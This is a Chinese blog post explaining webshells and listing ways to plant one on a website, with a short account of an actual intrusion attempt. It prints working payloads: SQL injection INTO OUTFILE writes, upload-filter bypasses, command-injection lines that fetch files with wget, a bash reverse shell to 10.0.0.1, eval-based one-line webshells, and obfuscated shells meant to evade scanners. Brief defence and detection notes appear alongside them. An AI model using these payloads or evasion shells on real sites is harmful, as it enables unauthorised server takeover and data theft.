美文网首页渗透测试
为什么要入侵一个网站

为什么要入侵一个网站

作者: 青山i | 来源:发表于2016-08-11 15:36 被阅读794次
我们为什么要入侵一个网站

我觉得以我现在的水平无法回答这个问题。

但是我客观的认为,入侵一个网站最根本的原因是想拿到我们想要的数据,
不管我们是站在的立场是什么。

什么是webshell

webshell就是以aspphp、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。

1.webshell用于网站管理,服务器管理根据FSO权限的不同,作用有在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令
2.另一方面,被入侵者利用,从而达到控制网站服务器的目的。这些网页脚本常称为WEB脚本木马,比较流行的asp或php木马,也有基于.NET的脚本木马与JSP脚本木马。

我们如何成功的上传一个webshell

  • SQL注入(mysql,oracle,mssql,具有file权限)获取webshell
    1.连接当前Mysql数据库的账户,具有File_priv权限
    2.知道网站的绝对路径(通过php报错信息,load_file,google搜索报错信息,phpinfo.php)
    3.mysql有权限到网站的目录下写文件
    4.而且单引号不能被转义
    5.可以通过爆出敏感信息,登录后台(配合网站后台功能实现上传webshell)
利用load_file('/etc/passwd')读取文件
index.php?id=1 union select 1,2,3,'<?php phpinfo(); ?>' into
outfile '/var/www/html/phpinfo.php'
防御:
1.数据库连接账号不使用root权限
2.php报错功能关闭
3.mysql账户没有权限向网站目录下写文件
4.过滤单引号
  • 上传漏洞获取webshell
    1.利用网站编辑器(editor)存在版本漏洞
    2.网站编辑的上传功能
测试上传,
1.本地绕过(文件类型,MIME,文件内容)
2.截断上传,/xx.php%00jsp,实现上传木马
3.上传.htaccess目录,控制解析的脚本。(利用jpg后缀的解析php文件)
4.绕过黑名单。

3.利用解析漏洞(查看web服务器,类型,版本)工具firebug,burp等。

有apache,nginx,IIS,php-cgi
防御:
1.使用服务端验证
2.检测文件类容
3.文件类容加载,和二次渲染。
  • 任意命令执行
    条件:
    知道网站的绝对路径,apache对网站目录有写文件的权限
    其实任意命令执行漏洞,就相当于webshell
    1.直接读写文件(写一句话木马)
index.php?command=echo "<?php phpinfo(); ?>" > /var/www/
html/phpinfo.php
index.php?command=wget -O /var/www/html/phpinfo.php
http://xxxx/phpinfo.txt

2.反弹shell到本地

1.bash -i >& /dev/tcp/10.0.0.1/8080 0>&1(linux环境下)
执行远程Samba里面的二进制文件
2.在windows7环境以下,
\\10.0.0.1\shell.exe   
windows8环境以后powershell
Powershell经常通过注册表,开始菜单,或者计划任务来实现自启动的目的,通常用sysinternals的autorun就能找到了。
另外C:\Users\\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1可以达到和
C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1一样的效果。

防御:
过滤单个特殊符号,使用escapeshellarg和addslashes函数过滤。

  • 任意代码执行
    条件:apache对网站有可写权限,执行代码获取网站目录
1.index.php?code=file_put_contents($_POST[f], $_POST[d]);
f=phpinfo.php&d=<?php phpinfo(); ?>
如果apache没有对网站目录有写权限
index.php?code=eval($_POST[1]);直接写入一句话。
  • 任意文件包含
    1.利用include和require函数包含上传的文件或是图片。
    2.包含日志文件,getshell
1.先读取/etc配置文件获取日志文件的路径
2.然后使用curl请求服务,在请求后面写入一句话木马
3.或是利用burp抓包,改包,将php代码插入到get请求中,或是user-agent中。

3.远程包含一个有木马的txt文件
防御:
过滤.(点)/(斜杠)\(反斜杠)
使用open_basedir配置限制访问限制指定区域。

  • 网站后台自带的功能
    1.数据库备份功能,数据库恢复功能
    2.文件管理
    3.可以控制上传功能

** 如何查杀webshell**

静态查杀特征:
1.特殊敏感字符eval,file_put_contents(),include()。等等函数
2.phpinfo,system,php_uname,chmod,fopen,flclose,readfile,edoced_46esab常见的特征
3.利用编码

<?php
@$_++;
$__=(“#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
@${$__}[!$_](${$__}[$_]);?>
<?
@$_POST[0]($_POST[1])
<?
@eval($_POST[1])
来实现免查杀

4.使用调回函数callback

<?php
function funfunc($str){}
echo preg_replace("/<title>(.+?)<\/title>/ies",'funfunc("\1")',
$_POST["cmd"]);
?>
cmd=<title>{${phpinfo()}}</tile>

5.利用include函数在脚本文件中加载一个


    include_path = “E:\PHPnow-1.5.6\htdocs;”

这个配置信息表示加载页眉页脚的文集位置,path规则是”\path1;\path2″,表示将path1路径的
文件夹下的页眉页脚文件添加到path中的文件中去,因为这里是一个‘.’表示根路径,
这里就相当于添加到了主页上面去了,然后hehe.asp文件里面写上一句话,
就可以通过php添加页眉的共能,将一句话写入网站首页。

6.拆分法(asp)
将<%eval request(“x”)%>拆分为<%Y=request(“x”)%><%eval(Y)%>,虽然绕过的可能性很小,但是也是一种绕过手法,也许有的服务器,做了很多高大上的扫描方式,但是遗漏小的问题。
还有拆分法加强版:

<%IfRequest("MH")<>"" Then Execute(Request("MH"))%>
<%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%>

实例

找到网站后台,弱密码登录。
利用网站特有功能,创建文件夹,和文件上传功能。


然后上传一个php文件发现不允许上传。

![]J$8C4.png](https://img.haomeiwen.com/i2495234/2a1a151552b6d3fe.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

通过本地抓包,修改文件后缀。


成功上传php代码。


不幸的是,他有waf,现在的水平只能望而兴叹。

相关文章

  • 为什么要入侵一个网站

    我们为什么要入侵一个网站 我觉得以我现在的水平无法回答这个问题。 但是我客观的认为,入侵一个网站最根本的原因是想拿...

  • 一次web后门生成过程溯源

     上周末,朋友网站(www.x.com)被入侵,百度上搜出许多博彩页面。印象中他网站不是第一次被入侵,上次被入侵还...

  • 轻松绕过付费VIP 的小技巧!

    一)十八流黑客 《精准入侵号码交易网 与 黑客远程定位》、《实战黑客批量入侵 轻松拿下1000个网站》、《一次入侵...

  • Google入侵工具特殊的入侵工具

    在网站入侵中,Google是一个必须的,特殊的入侵工具。Google是一个用来在互联网上搜索信息的强大工具,在Go...

  • 2018-12-16 网站结构总结

    网站结构 什么是网站结构 包括首页,栏目页,文章页 为什么要优化网站结构 用户体验 用户访问一个网站应该能清楚地知...

  • 常见的Webshell检测工具,看看你更中意哪一个?

    网站服务器被黑客入侵,这是我们身边时常会发生的事情,而当我们遇到网站服务器被入侵时,就需要借助工具来排查系统可能存...

  • 一次服务器被入侵的处理过程分享

    一、服务器入侵现象 近期有一个朋友的服务器(自己做了网站)好像遭遇了入侵,具体现象是:服务器 CPU 资源长期 1...

  • 8、🍌获取Webshell思路总结

    ?获取Webshell思路总结 ?黑客在入侵企业网站时,有时候拿到管理员后台了,通常要通过各种方式获取webshe...

  • 零基础理财入门

    ¥为什么要财? ¥理财门槛很高吗? ¥如何培养理财习惯? ¥为什么要投资? 如何投资? 哪丝网站实用? 为什么要理...

  • RSS订阅

    为什么要学习RSS? 假设你有一个习惯,每天早上会浏览各大咨询网站,你所要做的就是登录一个个网站,查看该网站今天有...

网友评论

    本文标题:为什么要入侵一个网站

    本文链接:https://www.haomeiwen.com/subject/zlwcsttx.html